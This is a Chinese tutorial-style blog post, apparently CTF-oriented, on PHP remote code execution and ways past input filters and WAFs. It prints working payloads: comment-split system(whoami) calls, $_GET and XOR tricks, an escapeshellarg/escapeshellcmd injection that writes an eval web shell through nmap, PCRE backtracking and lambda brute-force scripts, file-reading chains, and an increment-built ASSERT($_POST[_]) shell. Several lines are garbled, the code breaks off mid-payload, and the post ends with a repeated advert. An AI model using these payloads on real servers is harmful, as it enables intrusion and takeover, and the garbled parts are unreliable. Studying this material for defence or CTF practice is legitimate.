具体简介在前一篇有过详细描述
RCE漏洞总结及绕过—系统命令执行篇
RCE漏洞总结及绕过—代码执行篇
代码执行函数
eval():该函数把字符串当做php代码来计算,并且字符串必须是合法的php代码,要以分号结尾;
assert():该函数会检查一个指定断言。断言是一个逻辑学词汇,主要用于程序员来进行假设判断。断言只有两种类型,字符串型或者布尔型,当断言为flse时返回字符串表达式。如果断言是字符串那么会当做
php代码执行;
preg_replace():/e模式 正则匹配替换字符串,7.0版
本后/e已经移除了;
create_function():创建匿名函数,此函数返回唯一的函数名称一个字符串,否则出错返回false。7.0以后被移除了;
call_user_func():把第一个参数作为回调函数调用,后面的参数作为回调函数的参数。(回调:通过函数参数传递到其它
代码,触发某些条件->调用某些函数);
#传入的参数作为assert函数的参数call\_user\_func("assert",执行的代码);
call_user_func_array():同为回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
call_user_func_array("assert",$array);
//这里不能用eval,因为eval是PHP关键字符,而assert是可变函数可以调用
//但是assert函数受到php的版本限制,在php7.0.29之后的版本不支持动态调用
eval与assert:
- eval语法严格,必须分号,assert不用,assert是可变函数
- 如果字符串中带有return,会立刻终止执行并返回NULL
- 如果代码中存在解析错误,则eval0函数返回false
<?pho $\_POST['2']($\_POST['1']); ?>
此时2位置可以传可变函数assert而不能eval,1位置则为要执行的字符串phpinfo()
可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;eval不行
p h p i n f o ( ) 以 {phpinfo()}以 phpinfo()以{} 为格式执行
php还有一些 像array_map0、array_filter()、usort()/uasort()也可以执行代码
此外,在别的语言中还有如下,
Javascript:eval
Vbscript:Execute,Eval
Python:exec
Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEl
等,这些都能造成代码执行漏洞
过滤与绕过
使用$_GET绕过
原理(get参数为cmd):
?cmd=$\_GET[a]();&a=phpinfo
eval()之后$\_GET[a]变为:phpinfo,即phpinfo()
变形:?cmd=${\_GET}[a]();&a=phpinfo(\_GET变为{\_GET})
?cmd=${\_GET}{a}();&a=phpinfo ([]使用{}替换)
注:当\_GET(%dd%c5%c7%d6^%82%82%82%82)使用异或代替时,必须加上{}括起来
原因:加上{}表示分割,使%dd%c5%c7%d6^%82%82%82%82独立,不加的话
$%dd%c5%c7%d6^%82%82%82%82{a}();&a=phpinfo
异或符^不知道前后异或多少,会被不是%dd%c5%c7%d6^%82%82%82%82的也异或进去
插入注释
(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)
system/\*A10ng\_\*/(whoami);
system/\*A10ng\_\*/(wh./\*A10ng\_\*/(oa)/\*caixukun\*/.mi);
(sy./\*A10ng\_\*/(st)/\*A10ng\_\*/.em)/\*A10ng\_\*/(wh./\*A10ng\_\*/(oa)/\*A10ng\_\*/.mi);
extract($_POST)变量覆盖
//如果post传参为_SESSION[flag]=flag,那么$\_SESSION["user"]和$\_SESSION["function"]的值都会被覆盖。
<?php
$\_SESSION["user"] = 'guest';
$\_SESSION['function'] ='123';
echo '覆盖前:';
var_dump($\_SESSION);
echo "<br>";
extract($\_POST);
echo '覆盖后:';
var_dump($\_SESSION);
?
POST竞争_REQUEST
if($\_REQUEST) {
foreach($\_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
//假设我们要传入get:?debu=abc,这时会被过滤
//但是我们再在post传入一个变量名相同的变量debu=1,post优先级高于get,所以$\_REQUEST接受的是debu=1,从而绕过
create_funciton匿名函数
匿名函数其实是有真正的名字,为
%00lambda_%d (%d格式化为当前进程的第n个匿名函数,n的范围
为:0~999)
引用网上一个朋友的payload构造脚本:
import requests
for i in range(0,1000):
url = 'http://c1e68ca7-3854-49ec-bbc1-d303c450861e.node4.buuoj.cn:81/?func\_name=%00lambda\_'+str(i)
r=requests.get(url)
if "flag" in r.text:
print("flag:"+r.text)
break
print("Testing...")
#因为n的范围为0~999,一共也没有多少可能,直接跑出来
科学计数法绕过
if($this->op == "2")
使用:2a不能绕过,因为这里"2"是字符串,不是数字,弱等于不能转化类型,所以2a也不会变为数字2
使用:2e0,即使是字符串,也会自己变为数字2,成功绕过
空格绕过
http://node4.buuoj.cn:26885/calc.php?num=phpinfo()
//当我们直接这么输入时,因为有waf,所以会显示:Forbidden被禁止的
//原理:PHP在接收URL传入的内容时,会将空格去除,将一些特殊字符转换为下划线(转换对象也包含空格)。
//这里在num传参和?之后加入一个空格就可以绕过waf
//实现:http://node4.buuoj.cn:26885/ca1c.php?%20num=phpinfo()
escapeshellarg()函数和escapeshellcmd()混合使用
escapeshellarg()函数,在linux系统下,会将单引号转义成 ’ ’ ’ ,用单引号将字符串括起来。
escapeshellcmd()函数,在linux系统下,会将未配对的单引号等特殊符号进行转义。
这样当这两个函数混合在一起使用时,就会导致,转义的单引被绕过。
题目中给出的是nmap命令,拼接上我们可控的参数$host,那么就可以通过添加nmap参数执行将命令和结果写入文件的操作,写入一句话木马。
nmap写入文件的参数是 -oG*
传入参数
?host = ' <?php @eval($\_POST["hack"]);?> -oG hack.php '
经过处理后 拼接的语句
nmap -T5 -sT -Pn --host-timeout 2 -F ' '\\''\<\?php @eval\(\$\_POST\["hack"\]\)\;\?\> -oG hack.php '\\'''
preg_replace函数绕过
这个函数也算是正则的一种,应用很多 在各种ctf比赛 实际情况中各种出现 太常用了!!!! 但是写到这里 我能想到的也只有根据实际情况绕过 或者在这种eval中使用参数逃逸 与使用使用$_GET绕过类似 只不过范围更广 总体来说就两种思路 一种是匹配到了 但是特殊操作可绕过 另一种就是匹配不到
超全局变量在整个脚本中都是可用的,无需使用global关键字来访问它们。
1. $\_GET:
$\_GET是一个关联数组,用于从URL中获取参数的值。当使用GET方法发送HTTP请求时,参数会附加在URL的末尾,例如:http://example.com/?id=123。可以使用$\_GET来获取这些参数的值,例如$\_GET['id']将返回123。这在处理表单提交、页面导航和URL参数传递时非常有用。
2. $\_POST:
$\_POST也是一个关联数组,用于从HTTP请求的正文中获取参数值。当使用POST方法发送HTTP请求时,参数会被包含在请求正文中,而不是URL中。可以使用$\_POST来获取这些参数的值,例如$\_POST['name']将返回提交的名称值。与$\_GET相比,$\_POST更适用于处理敏感数据,因为它们不会在URL中暴露出来。
3. $\_SERVER:
$\_SERVER是一个包含了服务器和执行环境信息的关联数组。它提供了许多有用的信息,如当前页面的URL、请求方法、客户端IP地址、服务器信息等。例如,$\_SERVER['REQUEST\_METHOD']将返回当前请求的方法,$\_SERVER['REMOTE\_ADDR']将返回客户端的IP地址。$\_SERVER在处理会话管理、用户认证和访问控制时非常有用。
4. $\_SESSION:
$\_SESSION是用于在不同页面之间存储和访问会话数据的关联数组。它可以用来跟踪用户会话状态,存储用户信息,以及实现用户登录和注销等功能。使用$\_SESSION,可以在不同的页面之间传递数据,并且数据在用户关闭浏览器后仍然保留。
5. $\_COOKIE:
$\_COOKIE是一个包含了客户端发送的HTTP Cookie的关联数组。Cookie是一种在客户端浏览器中存储数据的机制,用于跟踪用户状态和存储用户偏好设置。通过$\_COOKIE,可以读取和修改Cookie的值,例如$\_COOKIE['username']将返回存储在名为"username"的Cookie中的值。
6. $\_REQUEST:
$\_REQUEST是一个关联数组,包含了通过GET、POST和COOKIE方式提交的参数的值。它可以同时获取GET和POST的参数值。然而,由于它可以获取多种来源的参数,因此在使用之前需要注意安全性和数据一致性。
7. $\_FILES:
$\_FILES是一个关联数组,用于访问通过HTTP POST方法上传的文件。它包含了上传文件的属性,如文件名、文件类型、文件大小等。通过$\_FILES,可以将上传的文件保存到服务器上的指定位置。
8. $\_ENV:
$\_ENV是一个包含了环境变量的关联数组。环境变量是在操作系统中设置的一些系统级别的值,在PHP中可以通过$\_ENV来访问它们。例如,$\_ENV['PATH']将返回操作系统中配置的路径。
9. $GLOBALS:
$GLOBALS是一个包含了全局变量的关联数组。它包含了脚本中定义的所有全局变量,以变量名为键名,变量值为键值。通过$GLOBALS,可以在任何地方访问和修改全局变量的值。
这些超全局变量 可以进行不同场景的利用 不限于这一个单一场景
pcre绕过
pcre回溯次数限制绕过
简单来说,PHP为了防止正则表达式的拒绝服务攻击,给PRCE设定了一个回溯次数上限
pcre.backtrack_limit,我们可通过 var_dump(ini_get('pcre.backtrack\_limit'));的方式查看
当前环境下的上限//PHP文档中,中英文版本的数值是不一样的,一般以英文版为参考
pcre绕过的原理就是:攻击者发送超长字符串,使得preg_match正则执行失效,最后绕过
放一题的POC来理解一下
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($\_POST[txt]);//' + b'a' \* 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php',files=files,allow_redirects=False)
print(res.headers)
可以看p神的博客
PHP利用PCRE回溯次数限制绕过某些安全限制
无回显无数字无参数
在命令执行篇简单的提了一些取反的操作 在这一篇中会对取反 特殊函数自增 异或等内容进行分析
无参数 使用特殊函数
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所
有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西 和上面的联动了
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array\_flip() :交换数组中的键和值,成功时返回交换后的数组
array\_rand() :从数组中随机取出一个或多个单元
array\_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight\_file()、show\_source()、readfile():读取文件内容
var\_dump() — 打印变量的相关信息
scandir(‘.’)是返回当前目录,虽然我们无法直接传参,但是由于localeconv()返回的数组第一个就是’.‘,current()取第一个值,那么,current((localeconv())就能构造一个’.',然后就能查看当前目录中的文件和
子目录
?参数=var\_dump(scandir(current(localeconv())));
有关数组移动的操作
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
在a.php文件同目录下有一个flag文件
poc构造思路(从里到外)
1.localencov()返回数组第一个值’.'->current()取第一个值- >scandir(current(localeconv()))构造得出当前目录的文件和子目录
2.array_reverse(scandir(current(localeconv())))翻转数组 用next移动指针
next(array_reverse(scandir(current(localeconv()))))取到flag
3.用show_source(next(array_reverse(scandir(current(localeconv())))))显示文件
get_defined_vars和get_defined_functions
第一个是可以返回全局变量GET POST FILES COOKIE
第二个是可以返回所有的函数,包含两个元素:“internal"和"user”。"internal"包含PHP内置的函数,"user"包含用户定义的所有函数。
首先确认是否有回显:
print\_r(get\_defined\_vars());
假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:
a=eval(end(current(get\_defined\_vars())));&b=system('ls /');
把eval换成assert也行 ,能执行system('ls /')就行
第二个适当操作
chdir()&array_rand()赌狗式读文件
session_id()和session_start() 各种特性
无字母无数字
自增绕过
从这一个代码就可以明白
'A++'的结果是B 'B++'的结果是C,那么理论上可以通过这个方法来得到我们想要的所有字母
payload:ASSERT($_POST[_])
<?php
$\_=[];
$\_=@"$\_"; // $\_='Array';
$\_=$\_['!'=='@']; // $\_=$\_[0];
$\_\_\_=$\_; // A
$\_\_=$\_;
$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;
$\_\_\_.=$\_\_; // S
$\_\_\_.=$\_\_; // S
$\_\_=$\_;
$\_\_++;$\_\_++;$\_\_++;$\_\_++; // E
$\_\_\_.=$\_\_;
$\_\_=$\_;
$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
++;$\_\_++;$\_\_++;$\_\_++; // R
$\_\_\_.=$\_\_;
$\_\_=$\_;
$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++; // T
$\_\_\_.=$\_\_;
$\_\_\_\_='\_';
$\_\_=$\_;
$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
++;$\_\_++; // P
$\_\_\_\_.=$\_\_;
$\_\_=$\_;
$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_
## 最后
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/e4ad191a50bfccf89f97a65b9e82dcb2.png)
![img](https://img-blog.csdnimg.cn/img_convert/27e5b1a001d67096fbc969a7ca23b587.png)
![img](https://img-blog.csdnimg.cn/img_convert/a9fcd72a3f15550b562745dd5e3e5aba.png)
![img](https://img-blog.csdnimg.cn/img_convert/c4ad27f0831bb4174f8f940cfefd2376.png)
![img](https://img-blog.csdnimg.cn/img_convert/e8ab1ea76f777e382e328568416ec72a.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
[外链图片转存中...(img-wmn82QG9-1715539918718)]
[外链图片转存中...(img-7kR8agtq-1715539918718)]
[外链图片转存中...(img-3oZYzIDz-1715539918718)]
[外链图片转存中...(img-2gmb3IT1-1715539918718)]
[外链图片转存中...(img-mtNiZBLe-1715539918719)]
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**